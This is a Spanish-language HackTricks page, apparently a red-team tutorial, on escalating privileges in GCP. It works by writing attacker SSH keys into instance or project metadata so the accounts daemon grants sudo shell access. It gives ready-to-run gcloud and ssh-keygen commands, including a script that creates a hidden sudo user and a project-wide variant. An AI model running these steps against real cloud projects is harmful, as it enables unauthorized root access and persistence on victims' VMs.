GCP - Agregar Metadatos SSH Personalizados
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Modificando los metadatos
La modificación de metadatos en una instancia podría llevar a riesgos de seguridad significativos si un atacante obtiene los permisos necesarios.
Incorporación de Claves SSH en Metadatos Personalizados
En GCP, los sistemas Linux a menudo ejecutan scripts desde el Python Linux Guest Environment for Google Compute Engine. Un componente crítico de esto es el daemon de cuentas, que está diseñado para verificar regularmente el punto final de metadatos de la instancia en busca de actualizaciones a las claves públicas SSH autorizadas.
Por lo tanto, si un atacante puede modificar los metadatos personalizados, podría hacer que el daemon encuentre una nueva clave pública, que será procesada e integrada en el sistema local. La clave se añadirá al archivo ~/.ssh/authorized_keys de un usuario existente o potencialmente creando un nuevo usuario con privilegios de sudo, dependiendo del formato de la clave. Y el atacante podrá comprometer el host.
Agregar clave SSH a un usuario privilegiado existente
- Examinar Claves SSH Existentes en la Instancia:
- Ejecutar el comando para describir la instancia y sus metadatos para localizar las claves SSH existentes. La sección relevante en la salida estará bajo
metadata, específicamente la clavessh-keys.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Prestar atención al formato de las claves SSH: el nombre de usuario precede a la clave, separado por dos puntos.
- Preparar un Archivo de Texto para los Metadatos de la Clave SSH:
- Guardar los detalles de los nombres de usuario y sus correspondientes claves SSH en un archivo de texto llamado
meta.txt. Esto es esencial para preservar las claves existentes mientras se añaden nuevas.
- Generar una Nueva Clave SSH para el Usuario Objetivo (
aliceen este ejemplo):
- Usar el comando
ssh-keygenpara generar una nueva clave SSH, asegurándose de que el campo de comentario (-C) coincida con el nombre de usuario objetivo.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Agregar la nueva clave pública a
meta.txt, imitando el formato encontrado en los metadatos de la instancia.
- Actualizar los Metadatos de la Clave SSH de la Instancia:
- Aplicar los metadatos de clave SSH actualizados a la instancia utilizando el comando
gcloud compute instances add-metadata.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Acceder a la Instancia Usando la Nueva Clave SSH:
- Conectarse a la instancia con SSH usando la nueva clave, accediendo a la shell en el contexto del usuario objetivo (
aliceen este ejemplo).
ssh -i ./key alice@localhost
sudo id
Crear un nuevo usuario privilegiado y agregar una clave SSH
Si no se encuentra un usuario interesante, es posible crear uno nuevo al que se le otorgarán privilegios de sudo:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
Claves SSH a nivel de proyecto
Es posible ampliar el alcance del acceso SSH a múltiples Máquinas Virtuales (VMs) en un entorno de nube al aplicar claves SSH a nivel de proyecto. Este enfoque permite el acceso SSH a cualquier instancia dentro del proyecto que no haya bloqueado explícitamente las claves SSH a nivel de proyecto. Aquí hay una guía resumida:
- Aplicar Claves SSH a Nivel de Proyecto:
- Usa el comando
gcloud compute project-info add-metadatapara agregar claves SSH desdemeta.txta los metadatos del proyecto. Esta acción asegura que las claves SSH sean reconocidas en todas las VMs del proyecto, a menos que una VM tenga habilitada la opción “Bloquear claves SSH a nivel de proyecto”.
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- SSH en Instancias Usando Claves a Nivel de Proyecto:
- Con las claves SSH a nivel de proyecto en su lugar, puedes SSH en cualquier instancia dentro del proyecto. Las instancias que no bloquean las claves a nivel de proyecto aceptarán la clave SSH, otorgando acceso.
- Un método directo para SSH en una instancia es usar el comando
gcloud compute ssh [INSTANCE]. Este comando utiliza tu nombre de usuario actual y las claves SSH establecidas a nivel de proyecto para intentar el acceso.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

